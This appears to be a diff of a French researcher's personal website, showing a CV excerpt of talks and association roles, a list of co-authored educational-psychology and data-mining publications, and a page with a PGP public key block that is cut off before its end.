        * 19/04/2016 pour [la Mairie des Martres de Veyre](http://www.mairie-lesmartresdeveyre.fr/): [Les enjeux de confidentialité et sécurité bien exposés par Vincent Mazenod](https://www.lamontagne.fr/martres-de-veyre-63730/actualites/les-enjeux-de-confidentialite-et-securite-bien-exposes-par-vincent-mazenod_11877490/)
        * 12/03/2015 pour [AUDACeS](http://audaces.asso.st/): [Séminaire technique: Sécurité Logicielle Web (avec Thomas LALLART)](https://indico.in2p3.fr/event/11263/)
        
        <!-- * 16/12/2014 pour [Clermont'ech](https://www.clermontech.org): [la PSSI de la nation](https://www.youtube.com/watch?v=jdWDdY2IdEw) -->
<hr />

* Je suis membre actif de l'association <a name="audaces" class="toggle"><i class="far fa-file-code"></i></a> [AuDACES, réseau régional de DevLOG](http://audaces.asso.st/) depuis 2015 et j'ai été coordinateur de ce réseau de 2018 à 2023
    * <i id="audaces" class="far fa-file-code"></i> événements
        * co-organisateur des [journées Proxmox VE / Ceph 2022](https://indico.mathrice.fr/event/327/)
        * organisateur de 3 journées Kubernete du 06 au 08 février 2019
 No newline at end of file
+59 −0
Original line number Diff line number Diff line
Title:  <i class='fa fa-flask' aria-hidden='true'></i> Recherche
Date: 2021-03-09 10:27
Category: <i class='fa fa-flask' aria-hidden='true'></i> Recherche
Number: 1


Je fais partie du <a href="https://hal.science/search/index/q/*/authFullName_s/Profan+Consortium">ProFAN Consortium</a>

## 2024

* Rudmann O., Batruch A., Paolo Visintin E., Sommet N., Bressoux P., Darnon C., Bouet M., Bressan M., Brown G., Cepeda C., Cherbonnier A., Demolliens M., De Place A.-L., Desrichard O., Ducros T., Goron L., Hemon B., Huguet P., Jamet E., Martinez R., Mazenod V., Mella N., Michinov E., Michinov N., Ofosu N., Pansu P., Peter L., Petitcollot B., Poletti C., Régner I., Riant M., Robert A., Sanrey C., Stanczak A., Toumani F., Vilmin S., Vives E., Butera F.. **Cooperative learning reduces the gender gap in perceived social competences. A large-scale nationwide longitudinal experiment**. *Journal of Educational Psychology*. <span class="label label-info">en cours d'édition</span> <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

* Mathilde Riant, Anne-Laure de Place, Pascal Bressoux, Anatolia Batruch, Marinette Bouet, Marco Bressan, Genavee Brown, Fabrizio Butera, Carlos Cepeda, Anthony Cherbonnier, Céline Darnon, Marie Demolliens, Olivier Desrichard, Théo Ducros, Luc Goron, Brivael Hémon, Pascal Huguet, Eric Jamet, Ruben Martinez, Vincent Mazenod, Nathalie Mella, Estelle Michinov, Nicolas Michinov, Nana Ofosu, Laurine Peter, Benoît Petitcollot, Céline Poletti, Isabelle Régner, Anaïs Robert, Ocyna Rudmann, Camille Sanrey, Arnaud Stanczak, Farouk Toumani, Simon Vilmin, Emilio Paolo Visintin, Eva Vives, Pascal Pansu. **Does the Jigsaw method improve motivation and self-regulation in vocational high schools?**.
*Contemporary Educational Psychology, Volume 77, 102278, ISSN 0361-476X*. [https://doi.org/10.1016/j.cedpsych.2024.102278](https://doi.org/10.1016/j.cedpsych.2024.102278) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

* Vives E., Poletti C., Butera F., Huguet P., ProFAN Consortium, Régner I.. **Learning with Jigsaw : A systematic Review gathering all the pieces of the Puzzle more than 40 years later**. *Review of Educational Research* ([https://doi.org/10.3102/00346543241230064](https://doi.org/10.3102/00346543241230064)) ([hal-04500096](https://hal.science/hal-04500096)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>
 

## 2023

*  Johann Chevalère, Loreleï Cazenave, Robin Wollast, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne , Norbert Maïonchi-Pino, Pascal Huguet. **The influence of socioeconomic status, working memory and academic self-concept on academic achievement**. *European Journal of Psychology of Education, 2023, 38, pp.287-309*. ([10.1007/s10212-022-00599-9](https://dx.doi.org/10.1007/s10212-022-00599-9)). ([hal-03707470](https://hal.science/hal-03707470)) <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>

## 2022

* Johann Chevalère, Loreleï Cazenave, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne, Norbert Maïonchi-Pino, Pascal Huguet. **Compensating the socioeconomic achievement gap with computer‐assisted instruction**. *Journal of Computer Assisted Learning, 2022, 38 (2), pp.366-378*. ⟨[10.1111/jcal.12616](https://dx.doi.org/10.1111/jcal.12616)⟩. ⟨[hal-03428446v2](https://hal.science/hal-03428446v2)<a href="/ep3c.html"><span class="label label-success">eP3C</span></a>


* Jm Monteil, A Séré, M Demolliens, P Huguet, A Batruch, M Bouet, M Bressan, P Bressoux, G Brown, F Butera, C Cepeda, A Cherbonnier, C Darnon, Al de Place, O Desrichard, T Ducros, L Goron, B Hemon, E Jamet, R Martinez, V Mazenod, N Mella , E Michinov, N Michinov, N Ofosu, P Pansu, L Peter, B Petitcollot, C Poletti, I Régner, M Riant, A Robert, O Rudmann, C Sanrey, A Stanczak, F Toumani, S Vilmin, E Visintin, E. Vives. **Rapport ProFAN Partager l’expertise. L’interdépendance positive, un levier pour de nouvelles compétences ?** *remis en Juin 2022 au Ministère de l’éducation, de la jeunesse et des sports et au Ministère de l’enseignement supérieur, de la recherche et de l’innovation*. ([hal-04021297](https://hal.science/hal-04021297)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

## 2021

*  Yannick Miras , Jerry Lonlac, Beauger Aude, Benjamin Legrand , Delphine Latour , Karen K. Serieyssol , Marlène Lavrieux , Paul M Ledger, Vincent Mazenod , Jean-Luc Peiry, Engelbert Mephu Nguifo. **Tracking plant, fungal and algal diversity through a data mining approach: towards an improved analysis of holocene lake Aydat (Puyde-Dôme, France) dynamics and ecological legacies.** *Revue des Sciences Naturelles d'Auvergne, 2021*. ([hal-03547371](https://hal.science/hal-03547371)) <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>

* Johann Chevalère, Loreleï Cazenave, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne, Norbert Maïonchi-Pino, Pascal Huguet. **Computer-assisted instruction versus inquiry-based learning: The importance of working memory capacity**. *PLoS ONE 16(11): e0259664. [https://doi.org/10.1371/journal.pone.0259664](https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0259664)* <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>

*  Laurine Peter, Nicolas Michinov, Maud Besançon, Estelle Michinov, Jacques Juhel, Genavee Brown, Eric Jamet, Anthony Cherbonnier, Profan Consortium. **Revisiting the Effects of Gender Diversity in Small Groups on Divergent Thinking: A Large-Scale Study Using Synchronous Electronic Brainstorming**. *Frontiers in Psychology, 2021, pp.12:723235*. ⟨[10.3389/fpsyg.2021.723235](https://dx.doi.org/10.3389/fpsyg.2021.723235)⟩. ⟨[hal-03401056](https://hal.science/hal-03401056)<a href="/profan.html"><span class="label label-success">ProFAN</span></a>


* Arnaud Stanczak, Céline Darnon, Anaïs Robert, Marie Demolliens, Camille Sanrey, Pascal Bressoux, Pascal Huguet, Céline Buchs, Fabrizio Butera & <strike>consortium ProFAN</strike>. **Journal of Educational Psychology, 114(6), 1461–1476**. ([https://doi.org/10.1037/edu0000730](https://doi.org/10.1037/edu0000730)). -([hal-03441734](https://hal.science/hal-03441734)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>



* Mella N., Pansu P., Batruch A., Bouet M., Bressoux P., Brown G., Butera F., Cepeda C., Darnon C., Demolliens M., De Place AL, Ducros T., Goron L., Huguet P., Jamet E., Martinez R., Mazenod V., Michinov N., Peter L., Petitcollot B., Poletti C., Régner I., Riant M., Robert A., Sanrey C., Stanczak A., Toumani F., Visintin E., Vives E., Desrichard O.. **An exploratory network analysis of socio-emotional competencies, school adjustment and school performance in adolescence**. *Journal of Educational Psychology, Volume 12 - 2021* ([https://doi.org/10.3389/fpsyg.2021.640661](https://doi.org/10.3389/fpsyg.2021.640661.)) ([full article](https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2021.640661/full)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


## 2020

* Yannick Miras , Jerry Lonlac, Beauger Aude, Benjamin Legrand , Delphine Latour , Karen K. Serieyssol , Marlène Lavrieux , Paul M Ledger, Vincent Mazenod , Jean-Luc Peiry, Engelbert Mephu Nguifo. **Refining Holocene lake dynamics and detecting early human-induced ecological legacies: towards improved analysis of past biodiversity through a data mining approach** ([researchgate.net](https://www.researchgate.net/publication/341286528_Patterning_Holocene_lake_dynamics_and_detecting_early_Prehistoric_human_impacts_targets_of_an_improved_integration_of_multivariate_ecological_indicators_thanks_to_the_data_mining_approach)) <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>


## 2018

* Lonlac Konlac J., Miras Y., Beauger A., Mazenod V., Peiry J.L.. **An Approach for Extracting Frequent (Closed) Gradual Patterns Under Temporal Constraint**. *2018 IEEE International Conference on Fuzzy Systems (FUZZ-IEEE)*, 2018. ⟨[hal-01924145](https://hal.archives-ouvertes.fr/hal-01924145v1)<a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>

* Ariane Tichit, Pascal Lafourcade, Vincent Mazenod. **Les monnaies virtuelles décentralisées sont-elles des dispositifs d'avenir ?** *Political Economy, Association d’Économie Politique*, 2018. ⟨[hal-01995938](https://hal.archives-ouvertes.fr/hal-01995938v1)

## 2017

* Ariane Tichit, Pascal Lafourcade, Vincent Mazenod . **Les monnaies virtuelles décentralisées sont-elles des outils d’avenir ?**. ⟨[halshs-01467329](https://hal.archives-ouvertes.fr/halshs-01467329v1)

content/pages/pgp.md

0 → 100644
+180 −0
Original line number Diff line number Diff line
Title: <i class="fa fa-briefcase" aria-hidden="true"></i> PGP
Date: 2021-03-09 10:27
Category: <i class="fa fa-briefcase" aria-hidden="true"></i> &agrave; propos
Number: 3

```bash
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

mQINBFmtXhkBEAClHu9dL+PUSFe6SeW/QwRnYwdbTZVO9XN1bz+QRM+1ZRvBL3io
pwMLwmbB1wI+kwbeHmh3AZdioY4+R+x8EQ+ldGo6NxKdUK0tqGM2bJaavi1oQZnu
GOQrP1h/k9fXqmUoEourZTvMoIVe3eyYcHFk3iHbKblkMHzVVEot/dOIMM7scSuw
4RqYI/nUKDo9lGAYXloneDjPghx4kn+P3jPPtf56bmzI2bbjsF1XHkM3RLCozoFQ
iq2VZTUEUx7YJT2+yTIU4EZ+qyH66+j3yqInOKXr+TeXWhyIh+MIOS36aFi5nNMS
gJ+CljvB3neQL+aE6C23Ob49GbDmLdk1GjwQQ6Y8OaP2LmVm2bx1ULpAY3vrqYRB
ke9w/0R0YFq7+865/jaEIWC7Byew5O3xEXRKse3uXOgcqyZxfgLOxfanIX07xNel
Sc0h0PucaATF8EYPnAP/G8PjXUgIsUwEQ+UbY1jdk1bDWNmaCmo5UHWeIu7+ebj3
VzywsQ12MO6taAqSpyJFhlHKOPx+bM5bxpfmVqxFZiOBx01gh0WW3bqdTcsMG2sm
hDfF9buzXJ/13sIVVe89tW7IvrjAVT1DpkmDA3PBZRmw678xodofABYv+r7LwtON
dHcLvvonM2MeXLHPfkbLrnNVzYCtRpcQ82dRuCcfsdOX2qxNEENI9hc9SQARAQAB
tE1WaW5jZW50IE1hemVub2QgKFByb2Zlc3Npb25hbCBrZXkgZm9yIElTSU1BL0xJ
TU9TKSA8dmluY2VudC5tYXplbm9kQGlzaW1hLmZyPokCNwQTAQIAIQIbAwIeAQIX
gAUCWa1izQULCQgHAwUVCgkICwUWAgMBAAAKCRBAik5RDc0NFJMuEACHVs5Kq7QO
zKD15a5n4xWWcOKEdpxky9T4jdmrhRuAKZbhpnIzsGVX77V3xJS3qmy2oei+NtrP
YFfPLbqhsP0XYpl4UhmeucfldfpQDcp6xlW+Va9yma/HtVus18IBB1PGPZduT4+d
SEGTrf3LAiOfdwlHEbPJt04pVPZJaFuWCTvhR6nNvUcHn4eFZYUe7Vj9JoDeAOfg
BYIzKm7vOliMJNVxStZwQgvC0cPrV4Ajv5gTJ1b/b6jE+XPbgfgCl9eJBr59ekVm
9Y2Lh48VhYt6Dz87hSqAv7WGx2BaSSobOf4hpbDeRQtKJQXSrte82a0HKFmjlZY4
EF5orcJjtBkhIJqOIs8GtVA1IystMD6air4AoEUuEDHf+S+HaWAtFbQzamppley7
0t8AymMK4Ixw7KXA/mcjCiiUmnoM2VHG5yDvNtgeRfaNryAQeqdb2Cu3MaaJ9Ycb
nn3mPYBjflDU28AvmNNFLfkraVSMF8ItX1BN/mZMBQOi9VCn45kG03Rmc1lDlvbr
sciB/UQAoSYAOgN62Wuf3GVF1wOdY+FX611nurbVRvBRkKWGT4RHgyZmxZbtP0nZ
D+K5nMyLmLjct5V+x3D1ul9m+bEauXevzjXaOim2B43mx3APxt0F7ONYLgttRK9c
lCUDSSNd8bQQuXJpu5tb5x3+UzLiiDaoG9HNUc1PARAAAQEAAAAAAAAAAAAAAAD/
2P/gABBKRklGAAEBAAABAAEAAP/bAEMABQMEBAQDBQQEBAUFBQYHDAgHBwcHDwsL
CQwRDxISEQ8RERMWHBcTFBoVEREYIRgaHR0fHx8TFyIkIh4kHB4fHv/bAEMBBQUF
BwYHDggIDh4UERQeHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4e
Hh4eHh4eHh4eHh4eHv/AABEIAGEAZAMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAA
AAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiEx
QQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpD
REVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJma
oqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy
8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQAC
AQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVi
ctEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlq
c3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APpH
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
